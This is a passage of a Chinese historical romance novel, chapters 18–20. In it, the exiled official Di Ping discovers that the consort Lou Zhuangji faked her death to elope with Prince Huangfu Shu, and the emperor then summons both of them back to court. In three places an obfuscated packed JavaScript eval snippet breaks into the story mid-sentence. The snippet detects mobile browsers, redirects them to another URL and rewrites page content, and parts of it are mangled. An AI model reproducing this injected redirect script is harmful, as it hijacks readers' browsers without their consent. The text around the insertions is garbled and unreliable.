唯有一件事传得最真,说燕王身边有一位智冠古今的谋士为他出谋划策,所以亲兵作战如神,但胜利之后,这位谋士就隐居,不知去向了。 由于皇甫澍的战果,原本野心勃勃的北狄不得已退守,双方僵持不下,暂时议和休战,边境维持着暂时的和平。 平静了四年,北狄又开始作乱。虽然皇甫澍说可以轻松回击,但一味追求长生的皇帝对兴兵征讨厌烦至极,动了和亲止战的心思,想把待字闺中的二公主嫁与北狄单于。 事情一出,立即引起了朝野内外的震惊。不光二公主自己跑到御前哭诉,半个朝堂都上书劝阻。其中,青年才俊狄平写了一篇洋洋洒洒的万言书,广为传阅,点明嫁公主的无用和荒唐。皇帝面对汹汹众议,只好作罢。 在这件事中起了重大作用的狄平,很快成了大梁朝堂炙手可热的人物。 他本来就身份显赫,出身新贵狄家,做过大皇子的伴读,因为才干被杜相欣赏,娶了他的孙女,仕途通畅、飞黄腾达。如今又因为仗义直言,讨了公主的欢心,更加万众瞩目了。 但所谓登高必定跌重,狄平的好运没有持续很久。两年后,杜夫人要求和离又将他置于坊间热议之中。 狄平自从为公主说话后,就得到了公主青眼。她见他年轻英俊、才学出众,心里暗暗喜欢。狄平也有意攀上公主这样的金枝玉叶,为自己争取更好的前途。他是情场高手,一通甜言蜜语就俘获了公主芳心。两人开始只是私会,到后来愈发大胆,丝毫不避讳,公主先是帮他一路升官,还有意让他成为驸马,只是碍于他家中还有妻子,不便行事。 杜夫人当然不是瞎子,一得知此事后当即暴跳如雷,没有丝毫犹豫就要离婚。 杜夫人是世族贵女,绝对不能接受丈夫吃里扒外,寻花问柳,即使对象是当朝公主也不行。本朝世家与皇族势均力敌,彼此制衡,皇家的面子在显赫世家那里并不是一直有用的。公主的势力压不下这件事,还给自己惹了一身脏。 狄平陷入了两难。他无法说清自己更想要谁,是博取公主的欢心,还是争取妻子背后世家的支持。他无比怀念从前风平浪静的时光,同时有一心支持他的妻子,和为他倾尽所有的公主。 但他并没有很多犹豫的时间。 两个女人出于旧情对他宽容,她们的父亲可不会。皇帝和杜丞相一起施压,他很快又成了孤家寡人,公主府也将他拒之门外。一纸诏书下来,让他立刻前往幽州赴任长史,甚至这个职位还是家人奔走为他谋求的。 狄平坐在前往幽州的颠簸马车上,身边只有一个书童,一箱行李。 所幸他还不是一点希望都没有,他就任的地方,靠近燕王府,也就是说他可以去寻求曾经同学的庇佑。马车停在王府气势恢宏的大门前,他心想,所幸天无绝人之路啊。 皇甫澍非常热情地招待了他,两人同席而坐,痛饮畅谈。 狄平美化了自己的经历,希望得到皇甫澍的同情,却发现对方只是尴尬地挪开眼神,这才明白自己的“美名”已经远扬四海。 他在推杯换盏间打量着皇甫澍。边关的风雪将他原本清秀的面容磨砺得英武深邃,看起来更加成熟,即使在室内仍穿着薄甲,颇有大将风范。反观他自己,风尘仆仆、面容憔悴,又背了一身骂名,面对昔日挚友,不禁有相形见绌之感。 他夸赞了一番皇甫澍的战功,又抱怨了几句旅途的劳累。等到酣然时,他们的谈话就更随意了。 “殿下,听说你身边曾有一位运筹帷幄的谋士,是当世奇才,有这个人吗?不知他现在在哪儿?真的隐居了吗?” “有的,只是我不能告诉你他的去向。” “您太见外了吧。” “哈哈,这是我们之间的诺言。” “您知道几年前娄婕妤的事吗?” “知道,我当时很难过,但军情紧急,也不容我为她吊丧了。” “哎,真可惜,我和她算是从小就认识,她当真是奇女子,只可惜红颜薄命啊。” “当年那一场火,真是没人能料到。” “是啊。哎,不说难过的事。听说殿下还未娶正妻,只有一位侍妾,膝下一女?” “正是。子恒对我的事真是了如指掌。” “哪里,殿下真是有灼见的人,我经历了这么一场风波,也算是悟到了,家长里短的事最耗人心神,我就不应该娶妻,像您一样找个温柔体贴的侍妾,平静地过日子,岂不美哉。” “子恒,你这件事可不能怪到杜夫人头上。我说句真心话,你做的确实不对。” 狄平闷了一口酒,沉闷地哼唧了几声,换了个话题。但两人很快就意兴阑珊,皇甫澍还要去视察阅兵,就派人领着狄平在城中四处走走,熟悉一下。 这座边境的城池相较于京城真是寂寥又无趣,房屋很破旧,清一色的土黄色,在漫天的尘土中显得脏兮兮的。行人很少,他们身上衣服不鲜艳,表情也懒洋洋的。商贩都无聊地闲坐着,看到有人经过才吆喝一声。时不时还看见拖家带口推着行李准备出城的人。 狄平买了一个饼,吃第一口就被噎住,他恹恹地把饼甩给了街角的乞丐。他无比怀念京城的繁华热闹,怀念那一张张娇美的面孔,但那已经像梦一样过去了。 走着走着,他看见前方罕见的有一堆人围着一个摊位吵嚷。走近一看,是一个书摊,老板高傲地盘坐着,身前摆了两摞高高的书,书前立了一个纸板,上书: “倚阑干,东君去, 宿雁归时, 残影度。 射一字,解者,所藏刻本毕赠。” 原来是在猜字谜,看来这个谜题引得不少人抓耳挠腮,许多人尝试后都败下阵来。 狄平跃跃欲试,在心中比划到:阑干的“阑”,去掉一个东君的“东”,是个“门”字,可后面两句又作何解? 他决定先碰碰运气:“是个‘门’字吧?” 那摊主摇摇头,又拿手中的拐杖敲了敲那块纸板的下边,狄平这才看到底下的小字: “一次十钱。” 狄平马上后悔嘴快,但也只能咽下这个哑巴亏。 有人起哄道: “你要卖书就直接卖,何必还出个谜刁难人?” 那书贩一斜眼,用标准的官话说: “你们这些猜不出谜的人,平常也不看书,我的书到了你们手里又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974359|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有何用?” “你瞧不起人呢!” “散了散了,这人不过是哗众取宠。” “哼,装什么。” “大家伙可别给他白送钱啊。” 话是这么说,但还是源源不断地有人竞猜,然后黯然地交出钱。那贩子看着钱袋逐渐鼓起来,得意地抖了抖胡子。 狄平细细思索一阵,忽而灵光一现,想到了答案。可没等他开口,一个脆生生的童音抢先说道: “是个‘升’字吧。” 书贩瞬间坐直,变了脸色。周围人的目光追向声音的来源——是个穿着蓝衣服的大眼睛小姑娘,被一个高大的仆从抱在怀里,还在吮吸着自己的手指。 那仆从笑说:“店家,看你这表情,我们小姐猜对了吧。” 那贩子捻了捻胡子,有些不高兴,只是默默地点头。 “那这些书,我们就拿走了。” “等一等,”那贩子两手撑在书堆上,“小姐虽然猜出来了,可你一个小孩子,这些书对你来说太深奥了,不适合你看。喏,我把最上面这本送你,当做奖品好吗?各位,我们换一个谜猜。” 这下子围观众人炸开了锅,纷纷指责店家耍赖,出尔反尔,不像是真心送书的。店家红了脸,和四面八方的嘘声争执着。 反倒是那个小女孩咯咯笑着说:“我不要你的书,这些我家里都有,不是很稀罕。” 空气瞬间安静了。 那店家面红耳赤,瞪着小女孩:“小姐,你不要我的书,却把我的字谜猜了,这不是在砸我的场子吗?” “你只说要人猜,又没说一定得想要你的书。” “你这个小丫头···” 那个仆从见书贩出言不逊,也翻脸了,这才使他收敛了神气。这时狄平站出来,高声道: “店家,人家小姑娘不要你的书,对你难道不是好事?你不谢谢人家,怎么还恶声恶气的?” 书贩转脸就要将矛头对准他。但狄平接着说: “我看这样,小姐不需要书,可我需要。若你再出一个字谜,不知又要搭上旁人多少钱财,倒不如我直接全部买下,你看如何?” 那书贩一愣,问道:“当真?” “君子一言,驷马难追。你将书包好了,送到长史府就好了,府上会有人给你钱的。” 人群立刻议论纷纷。 那贩子听到是长史,本来一副盘算的表情立刻换成了点头哈腰,慌忙应下,接连奉承。狄平听了几句好听的,很受用。一抬眼,却发现那主仆二人不见了踪影,连忙冲出人群,匆匆寻找。 所幸小姑娘的蓝衣服在市集中很是打眼,他很快就在一个糖葫芦摊上找到了她。这小姑娘长的很讨人喜欢,而且还有些面熟。他寒暄几句,自我介绍,又问: “听小姐方才的话,府上必是书香世家,敢问令尊现居何职,家住何处?” 小姑娘眼睛滴溜溜地转,笑着搂住仆人的脖子,嘟哝了一句话,狄平没听清,想请她重复一遍,忽然听到他们身后传来一个妇人的喊声。 “妤儿,怎么一眨眼人就不见了,可教娘好找!” 这个叫作妤儿的小女孩听到喊声,立刻抬起头,高兴地回应道:“娘,你找到我们啦,好慢啊!” 狄平向后看去,一见到妇人的脸,他脑袋空白,浑身战栗,呆在了原地。 这个衣饰端庄、面露慈爱的已为人母的女子,正是他以为过世的故人——娄庄姬。 18. 黄粱一梦(二) 六年前的元宵,娄婕妤思念寿妃,回到冷宫祭奠她的灵位。她谴开仆从,独自走进了存芳殿。不知是撞倒了油灯还是灯笼,宫殿突然失火了。冷宫偏僻,等到救火的赶到时,火势已经无法控制。 隔壁清心阁的废妃们已经逃出来,围着熊熊烈焰怪笑。婕妤的婢女素砚哭倒在地。大火熄灭后,原来的冷宫只剩下了几根房柱,和一具焦尸。通过她身上的金首饰,才能确认是娄婕妤。 皇帝次日听闻噩耗,悲恸惋惜,追封她为昭仪,并赏赐抚慰她的家人。只因不日大皇子就要出征,婕妤的丧礼也只能草草了事。 宫里记载的故事大抵如此。 元宵的那一晚,娄庄姬确实回到了冷宫,抱着涂寿华的灵位痛哭了一场后,脱下嫔妃的钗裙,换上宦官的衣装,从小厨房的密道匆匆离开。灵位前,冯盼春已经安排人放了一具以假乱真的女尸,装扮上她的衣饰。 从宫里到宫外的道路很长,夜晚很冷,娄庄姬冻得手脚发硬,心里却是火热的。她头脑空白,什么也思考不了,完全是凭着一股冲动驱使她向前走。 明明出发前,她担心了很多,比如自己的家人,比如柳慈,比如托付给冯盼春的素砚,但迈开步子的一瞬间,所有思绪都被抛到脑后了。 两天后,她已经坐上前往京城郊外的马车,准备与皇甫澍会合。 通往幽州的路太颠簸,车子每颤动一下,她的心就随之漏跳一拍。 皇甫澍对外说她是自己请来的高士,专门为她备了一辆马车。她也换上了隐士的男装,不轻易抛头露面,以免惹出麻烦。 皇甫澍在队伍的最前方,骑着高头大马,面庞严肃。只有到晚上的时候,才会到她的车上,问她情况如何。 “你还好吗,路上会不会太颠簸?” “我没事。偶尔头晕,也很快就好了。” “有什么不舒服的,一定喊人告诉我。” “你也有你的事要做,不用管我。” 皇甫澍一路上对她非常客气尊重,这样的嘘寒问暖就是二人最亲密的时刻了,而且每当此时,皇甫澍还总是红着脸。娄庄姬心想,之前在长街上那样大胆告白的人,现在怎么又这样拘谨了? 幽州离京师长安山高水远,到达后,娄庄姬终于下车,向着南方叩拜,远离家乡的悲戚第一次涌上心间。 她本来是住在边境的城池太守府里。皇甫澍则在军营中。战事紧急,他们都知道不是儿女情长的时候,何况二人私奔已经耗尽了他们的勇气,便强行将分别的相思按捺住。 可娄庄姬受不了在太守府里无所事事的日子。太守夫人一见她就知道这是个男装女子,好在她为人忠厚,没有泄密。看着她每天寝食难安,望着战事发生的地方思索,便劝道: “你这样每天闲着也不是个办法。” “我也不知道该做什么。” “你不是以谋士、军师的身份来的吗,那就做这个身份该做的事吧。” 她很骄傲地说,自己每日习武,还操练府中亲兵,哪怕大军压境,她们也不是毫无还手之力。 娄庄姬很惊讶。她从小时候到进宫,只见过纤弱柔美的淑女,像太守夫人这样习武、练兵、痛斥自己夫君胆小的豪爽妇女还是第一次见。但她发现自己很喜欢太守夫人,并准备听她的意见。 她在此之前,从没看过一本兵书,更没有研习过兵法。好在每日清闲,有大把的时间供她钻研,又有太守夫人指教,她学得很快。 但纸上谈兵并非兵法之道,她很快就不满足于沙盘推演了,她要去看看真正的仗是怎么打的。 “你很聪明,我没有什么要嘱咐的。只有一点,兵书上的战局你可以反复推演,自己抉择的时候,别忘了你肩负的是沉甸甸的人命,凡事谨慎一点。” 太守夫人为她挽起了男子的发髻,亲自送她出城。 她本来写信给皇甫澍,说自己要为他参谋。皇甫澍回信婉拒了,说不能让她身处险境。娄庄姬有些愤懑,决定不打招呼直接投奔到营下,把皇甫澍吓了一跳。 “你不该来这儿的,这是战情焦灼的地方。” “我正是来帮你的。” 娄庄姬这次男装更用心了,涂黑了脸,贴了胡子,把身材用布料垫得更魁梧。皇甫澍见她铁了心,很无奈。 “我还是觉得不妥。” “有什么不妥?你觉得我不会用兵是吗?” “我没资格评价,我也是第一次担任大将。” “那你就等着看你师父吧。我相信你能做一个好将军,你也应该相信我能做一个好谋士。” 娄庄姬话说的很狂傲,指挥起来却很谨慎,走一步算三步,考察战局形势一丝不苟,粮草、天气、人马、地形、士气、策略,面面俱到。平北军的第一场胜仗,就是在她的指挥下,歼灭了敌军三千人,士气大涨。 麾下的军师对这个寡言少语、面若冰霜的同僚又嫉妒又敬佩。皇甫澍看她的眼神也越来越亮晶晶的,比从前做徒弟的时候更加敬重。大胜归来,满身血迹的将领,在营帐里只有他们两个人的时候,会无言地伸出一只手,揽住她的肩膀。 她笑着指着面前悬挂的地图说:“你看这幅地图多详细,现在你可不缺地图了,想怎么看就怎么看。” 皇甫澍也笑了,从行囊中拿出泛黄的卷轴,正是数年前娄庄姬手绘的那一张地图。 娄庄姬回应了他的拥抱。 大皇子对北狄的胜仗是梁朝的军事神话。一年时间,就将北狄赶回自己的地盘,议和后互不相扰。边关迎来了数十年不遇的太平。皇甫澍和娄庄姬离开了风餐露宿的军营,能回到城内过安稳的日子。 娄庄姬现在化名秦氏,以侍妾身份居住在王府。皇子正妃身份必定严加考察,侍妾就没有那么多规矩。二人也觉得,他们早已经突破世俗的规则,更不会在乎名分虚礼了。 但皇甫澍在打完仗之后,变得拘谨了不少。 二人住在一个屋檐下,似乎让他很不自在。他走路脚步很轻,绝不在屋里练武,一起吃饭时也默不作声,更是不肯同席共枕。最让娄庄姬烦恼的一点,是他似乎很纠结称呼,“娘子”、“庄姬”他叫不出口,现在又不能称“军师”、“娘娘”了,兜兜转转,他又叫回了“师父。” “好奇怪,这让外人听了怎么想?” 一天,他们漫步在城郊的芦苇荡中,讨论起了这个问题。 “别的称呼,我说不出来。” “你试一下嘛。就像打仗一样,换一个阵法。” “···这不一样。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974360|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “试吧。” “庄姬。” “嗯。” “怎么样,我还是不太习惯。” “我也听着不太习惯,不过日子久了或许就好了。” “庄姬,庄姬。庄儿,阿庄,小庄。小娄,阿娄。” “别用姓氏,我现在姓秦。” 两个人走着,手拂过随风摇摆的芦苇。皇甫澍一遍又一遍琢磨着名字,忽而长叹一口气。 “我觉得很对不起你,当年我太冲动了,你现在隐姓埋名,在这种地方过着苦日子,连姓氏都不敢大大方方用。我很怕你会后悔。但你放心,如果你哪天后悔了,想离开,我绝不阻拦。” 娄庄姬神色变得庄重,她停下来,捧住皇甫澍的脸说: “不要说傻话,我从决定跟你走的时候起,就已经坚定不会再回头了。你不要担心,我答应过你,会一直陪着你。” “师父,你···” “你知道吗,我现在还是觉得’师父‘听着最顺耳。” “为什么?” 娄庄姬咯咯一笑:“好像回到了你还只有十一岁的时候。” 两个人一起笑起来,额头贴在一起。皇甫澍敞开怀抱搂住她,他身上有一股风沙的肆意气息。娄庄姬也紧紧环抱住他,将头靠在他的颈窝里,贪婪地索取他身上的温暖。 此时此刻,渺渺天地间,只有他们两个人,如此美满而幸福。不用应付皇帝和贵妃,不用顾虑世俗的非议,不用被琐事缠身。一阵狂风吹来,“哗哗”的一片浪。两人顺势倒在了芦苇丛中,满怀激情地拥抱、亲吻。 就当他们沉醉的时候,从仿佛是天边的远方传来一个小女孩的笑声。那清脆的笑声像一个个白色的小鬼在芦苇丛中奔跑,追到了他们俩面前。 娄庄姬慌忙抬起身子,衣冠不整,面色红彤彤的,不好意思地看着来人。 那个女孩子穿紫衣,扎小辫,笑嘻嘻地看着他们。 “小姑娘,你是谁?” “我叫妤儿,就住在附近。” “我们打扰到你玩了,真是抱歉。” “没关系,我马上就要走了。” “不是因为我们吧。” “不是。是因为我爹娘。” “你爹娘怎么了?” “我们家要搬家了,要搬到京师去。大姐姐,你去过京师吗?” “我去过,那是个很好的地方,热闹、繁华,有很多好吃的好玩的。” “是吗?爹娘说去那里做生意,可以发达。可我不想去,我还是更喜欢这里。” “我们也喜欢这里。” “你们是从京师来的吗?” “是的。我们来了,就不愿意走了。” “真好,真希望爹娘也不想走。” 忽然,小女孩的耳朵动了一动,她挥手道: “我听到爹娘在叫我啦,我走了,再见!” 小女孩娇小的身躯隐入了芦苇荡中。娄庄姬和皇甫澍静静地躺在地上,心里似乎为刚才的奇遇泛起了一点涟漪。 娄庄姬后来确信,自己就是在这一天有了女儿的。 而在二人期盼已久的孩子降生时,他们心照不宣地给她取了名字。 “妤儿,我们的妤儿。” 19. 黄粱一梦(三) 狄平花了十几天的工夫软磨硬泡,才改变了娄庄姬鄙视的眼神,终于不是看他一眼扭头就走。两人好不容易能坐下来平静地吃茶聊天。 其实是三个人坐在一起,还有一个皇甫妤坐在一边。 娄庄姬和女儿总是形影不离,遇到旁人总要先把她推到身前,很雀跃地说: “这孩子今年四岁了,长得很快吧。她很调皮,我管不住她,但她也很聪明。” 人家看到孩子粉雕玉琢的小脸,都忍不住逗她一番。然后称赞道: “她和她娘亲长得真像啊。” 娄庄姬知道每个人都会这么说,也最喜欢听到这句话。 皇甫妤虽然还没有长开,顶着一张稚嫩的小脸,但五官和母亲是一个模子刻出来的。皇甫澍有时会抱怨:“怎么看不出我的样子呢?” “哪儿的话,你看这鼻子,不是跟你一模一样。” “可别的地方都跟你一样。我听奶娘说,女儿像爹爹有福气。” “兴许长大了就像了。” “像你也好,以后一定很漂亮。” “贫嘴。你若想要个像你的,就再生个男孩。” 皇甫澍瞬间脸红,装着去给孩子拿糕点转过身。娄庄姬搂着孩子咯咯笑,反复亲她的小脸蛋。 狄平与她谈话时,皇甫妤就躺在她的怀里,静静地睡着。 小姑娘近来有点发烧,狄平带了礼品前来探望,嘘寒问暖一阵,娄庄姬对他的防备减轻了,留他暂坐。 “听话陛下给县主送了生辰贺礼?” “是的,每年都送。” “陛下很疼爱孩子呢。” 她点头。问道:“你在京师那边,可曾听过我家的消息?” “我常常拜访尊府。” “跟我说说吧。我不敢跟他们联系,打探来的消息,也不知是真是假。” “哎,我说了,怕是只惹您伤无谓的心。” “什么意思?我派去的人说,家中并无大事,我两位兄弟正值壮年,仕途平坦。是父亲怎么了吗?” “正是。伯父也上了年纪,身体每况愈下。又因为到了晚年,折了您这个宝贝女儿,心里一直有一块疤。我每次见他,他提到您,总是泪涟涟的。” 娄庄姬听此,眼眶红了。 “我何曾想过,竟会做了个不忠不孝之人呢。” “您很勇敢,古今女子,只有汉朝卓文君能与您相比。我很佩服您。” “是吗?”她抱紧了手中的孩子,像是环抱易碎的瓷器。 “只是,我也为您感到可惜啊。” “我有什么好可惜的?” “您在宫中,是陛下的宠妃,明眼人都看出来,贵妃都忌惮您了。未来一路青云直上,不知有多么风光呢。可现在,您隐姓埋名,只甘心做王府一个侍妾,在边陲度过余生。您不觉得埋没了您的才华吗?” 娄庄姬冷笑:“这样说,你不也是和我同病相怜?原本能傍上公主一步登天,现在却灰头土脸地跑到这当长史。” “您别羞臊我了。我老实跟您说吧,这个时候离京,倒是一件幸事。” “何幸之有?” 狄平嘘了一声,压低嗓门说:“我不敢乱说,是信任您才敢透露,您可别外传。” 娄庄姬笑笑,让奶娘来把女儿抱走回里屋休息,让狄平说下去。 “近来对陛下不满的声音越来越多,许多大臣上书指责陛下不理朝政、民怨沸腾,您知道,陛下追求长生到了什么地步,他还想效仿秦始皇,从民间选童男童女出海求药呢。” 娄庄姬皱眉。 “现在政局动荡不安,前不久,河南道有人造反,气势汹汹,折了好几位将军才压下去。几位藩王也有所不满,一同入京进言,被陛下以藐视天威赶回封地幽禁起来。” “这些事情,我怎么从来没有听说过?” “幽州毕竟偏远,消息不灵通也正常。” 娄庄姬脸上一瞬间闪过了焦躁。 “没说完,坊间有风言,陛下气数已尽,而燕王年少有为、于国有功,应将皇位传给燕王。” “什么?” “可不是一个人说,必定是成了气候,才传到我耳朵里的。” “燕王自请戍边,表明了放弃皇位之争。这不是有人想害燕王吗?” “不知道。有传言说燕王出生前几月天有异象——‘荧惑守心'',虽然陛下隐瞒下来,但还是有人记得。人们说燕王是那颗不安分的火星,他总有一天会将现在的皇帝取而代之。” “但…后面不是还有别的天象,说当年的事是假的,应拨乱反正吗?” “这个我不知道。但是天象这东西,人们只愿意相信自己想信的,一旦起了一个头,后面的歪曲编造可就难压了。贵妃就信了,疯狂地打击燕王一党,杜丞相也遭殃,处处被她针对;她为了巩固二殿下的势力,还让他娶了自己的表妹——贵妃侄女,袁将军之女。” “陛下知道吗?” “圣心难测。” 娄庄姬的脸色很苍白。 “夫人,我有一句话或许不中听,望您谅解。你们这样屈居于一隅,当真是屈才了。就算您不为自己考虑,也当为燕王考虑啊。” “你这是什么意思?” “与其让燕王处于被怀疑的被动状态,为什么不顺应天意,主动出击呢?” “大胆!”娄庄姬猛地站起来,对着狄平大呵。 狄平倒是不慌不忙,也从容起身,示意她低声,娄庄姬只好压低嗓音斥道:“你竟敢有反心!” “夫人就是忠君之人吗?身为天子嫔妃跟皇子私奔,也不是什么光彩事吧?” 狄平恭敬的态度变为了他一贯的轻佻。 “你出去,我不想见到你。” 狄平没有反抗,只是临走前一直强调:“您一定要多考虑一下,哪怕不是为了自己,是为了燕王。” 当天晚上,娄庄姬决定和皇甫澍谈谈。 两人把女儿哄睡之后,回到房里,她先开口问道: “朝中有人说你会将陛下取而代之,你听说了吗?” 皇甫澍一愣,反问道:“你是听谁说的?狄子恒吗?” “嗯。看来你知道,只是一直没告诉我。” “都是无根无据的传言,我不想你担心。” 他见娄庄姬神情不太对劲,从背后怀抱住她想安抚一番,却被她挣开了。 “为什么要瞒我?你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974361|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得我们只能同甘,不能共苦吗?” “当然不是,我完全没将这些谣言放在心上,自然不会想到告诉你。如果是重要的事,我一定会跟你说的。” “这件事关乎你的安危,还不重要吗?” “只要我们安分守己,谣言不攻自破,这不是我们要做出反应的事啊。” “你太天真了。陛下心里埋下了疑心的种子,早晚会发芽的。” “那他二十年前就种下了,不是我能左右的。” 娄庄姬直视着他。 “这么些年过去,有关京师政局的事我一概不知,全都是狄平今天告诉我的。他不说,我都不知道我竟在这府里坐井观天。” 皇甫澍的表情很痛苦。他的确是交代了为她传信的人,哪些该说,哪些不该说。可他一直认为这是出于好心。 “那些消息对你没用,对我也没用。我们在这儿很好,有家,有孩子,有我们的价值。其他人的争斗,与我们何干呢?” “你,”娄庄姬纠结着,寻找一个合适的词,既能表达她的不满,又不会太伤人,“目光短浅。我从小就告诉你,要向上走,走到众人高处去。” “我也和你说过,我不想。能保家卫国已经使我对自己满意,我没有想过自己能来到这么遥远的地方,看与京城截然不同的风光,更没想到能有幸和你在一起。我真的很满足了,太子、帝位,非我所求。” 娄庄姬沉默了,良久带着泪说: “我怎么会跟你走?” “什么?” “我当初为什么会答应跟你走?我把自己困住了。” “你愿意跟我一起,不是因为你也钟情于我吗?” “是。在你身边,做你的谋士,有了妤儿,我都很开心。但我现在觉得难受,我们真的要这样过一辈子吗?” 皇甫澍静静地握着她的手,喃喃地道歉:“我以为你会跟我一样满足。对不起。” 娄庄姬看见他沉默的清泪,紧绷的神情松动了,她近乎安慰地说:“这样的生活很好,真的,我心里从来没有像这几年一样平静过。我今天是被狄平的话刺激到了,你不要多想。” 他还在一遍遍地强调着:“我只想要我们这个家,有你和妤儿。” 娄庄姬轻轻抱住他。 他在她耳边恳求道: “我们以后再不提这个了,好不好?” 娄庄姬很艰难地点了一下头。 那晚皇甫澍把她抱的很紧,简直让她喘不过气来。她头昏脑胀,却怎么也睡不着。 王府又把狄平冷落了。长史大人抱怨着糟糕的办公环境,无可奈何。他偶尔还会在集市上偶遇带孩子买糕点的娄庄姬,对方态度礼貌,却绝口不谈政事,他也不好强行把话题绕过去,总是悻悻离开。 燕王府无内忧外患,太平了一段日子。 然而好景不长,一个月过后,娄庄姬正在府内陪皇甫妤玩九连环,突然皇甫澍乌云满面地走进来,身后跟着狄平。 他让人先把女儿带回房里,而后沉重地告诉娄庄姬: “父皇派人责问,要求查明娄婕妤当年假死离宫之事,诏我即刻回京。” “什么?” “带上你。” 20. 汝非吾君 ”陛下怎么会知道的?”娄庄姬大惊失色。 “我已经派人去打探消息了,还要再等一段时间。”皇甫澍在房间踱步,面色凝重。 娄庄姬拧着眉头,冥思苦想。 “这件事情,宫里知道的人只有冯公公和素砚,宫外知道的人,无非你、我还有,”她突然停顿了一下,指向一旁的狄平,“你?” “夫人疑心是我泄密?在下绝不会做出背友求荣的肮脏事。” 狄平眼神笃定。皇甫澍也帮衬道:“子恒与我交情深厚,我对他是信任的。” 娄庄姬很困惑地摇头:“那难道是宫里的人?还是当年办差的人传出去的?” “总之,是谁传的无关紧要,重要的是我们该如何应对,”狄平说,“二位是如何打算?回去,还是不回去?” 一段短暂的死寂。 皇甫澍先说:“肯定要回去,我们不能抗旨,抗旨必然罪加一等。” “我们的罪已经够大了,倒是不怕再加一等。”娄庄姬苦笑。 “就算不走,父皇也会派人来把我们押送回去,结果是一样的。” “天哪,就没有一点回转的余地吗?”娄庄姬痛苦万分,皇甫澍扶住她。 “陛下给我们的罪名是什么?私通?祸乱后宫?罔顾礼法?”她问。 狄平摇头,说:“很奇怪,陛下只指责燕王串通您策划假死离宫,藐视天威。之后的事情,比如您二人的结合,却只字未提。” 娄庄姬喘了口气,回过神来,强迫自己冷静道: “意思是说,陛下可能不知道,燕王侍妾就是我。” “也不能确定。只凭圣旨上的短短几句话,判断不出更多东西了。” 皇甫澍说: “父皇是通情达理之人,兴许回去之后,他问清事情真相就会宽恕我们。” 娄庄姬并未因此而安心。 就在这时,一个传令兵急急忙忙地叩门,说陛下密信到了。应该是在发出圣旨后,紧随其后跟来的。三人连忙拆开信,一目十行地读着。 信中提供的信息更多一些。 首先,是说娄庄姬以前的侍女素砚将当年的事情真相告诉了贵妃,贵妃又禀告了皇上。娄庄姬一见,心如刀绞,不敢相信背叛发生在自己身边。 接着,皇帝质问,当年与北狄作战时,那个神秘谋士是不是就是娄庄姬,如果是的话,她现在在何处,务必把她一同带回来面圣,阐明当时事情缘由。 “陛下还是相信您的才华的,认为夫人您可以做谋士。”狄平想缓解一下紧张的气氛,可惜两个人面容紧绷,连一丝笑影儿都没有。 然后,是他的怒斥,痛骂皇甫澍不忠不孝,协助天子妃嫔出宫,欺君瞒上,罪无可恕。 最后,他话锋又一转,说只要皇甫澍把娄庄姬送回来,他可以顾念父子恩情,加之念及他的赫赫战功,从宽处理。强调:不许拖延! 娄庄姬挤出一个笑说:“你看,陛下说会对你从宽处理。” “是。但你怎么办呢?” “自当按照宫规处理,我有错在先,早就料到会有受罚的这一天了。” “不行,我们没有错,我们两情相悦,一同为国效力,父皇若是承认你的功劳,就会将功折罪,不会处罚你的。” “难说。”娄庄姬攥紧了他的手,他从颤抖中感受到了她的惧怕。 “父皇把你留在宫廷里是不应该的,是屈才。你在宫廷里那么痛苦,可只要一走到外面来,你就有无限的作为,父皇应该看到这一点。”皇甫澍咬着牙说。 “陛下没有看到,你看到了,就够了。” 两个人紧紧靠在一起。 狄平开口道:“如此看来,陛下会怎么处理还不是定数,一切只有回京后才能知晓。如何,如果您二位打定主意要走的话,我们何日启程?” “回去吗?” “不得不回去,”娄庄姬最终下定了决心,“让府里人速速收拾行装,我们最晚后日出发。” 狄平领命,退了出去。 娄庄姬又对皇甫澍说:“你也抓紧去安排军中的事情吧。北狄人忌惮你的名号,若是知道你回京,恐边境又将生乱。” “我知道,”皇甫澍面色犹豫,“你真的决定要回去吗?我可以跟陛下说,他得知的是假消息,或者你不在这里,或者···” “你瞧瞧,这不加了一重欺君之罪吗?” “回去后要面对什么,我们完全不知道。“ “不要太担心了,会没事的。” “我们的罪很重。” “看着我,”娄庄姬捧住他的脸,严肃地确认,“相信我,我们不会有事的。” 皇甫澍败下阵来,只能无力地牵着她的手,絮絮道:“我只想我们好好过日子。” 娄庄姬让他把头靠在自己肩上,像哄小孩一样抚摸他的脊背,一滴眼泪慢慢滑下她的脸颊。 燕王府经历了天翻地覆的两日,到了出发的时候,府门口不只有装载人和行李的马车,还有精锐甲士。未来的旅途山高水远危险重重,不得不做好防范。 这样的路程,也不适合带上孩子。 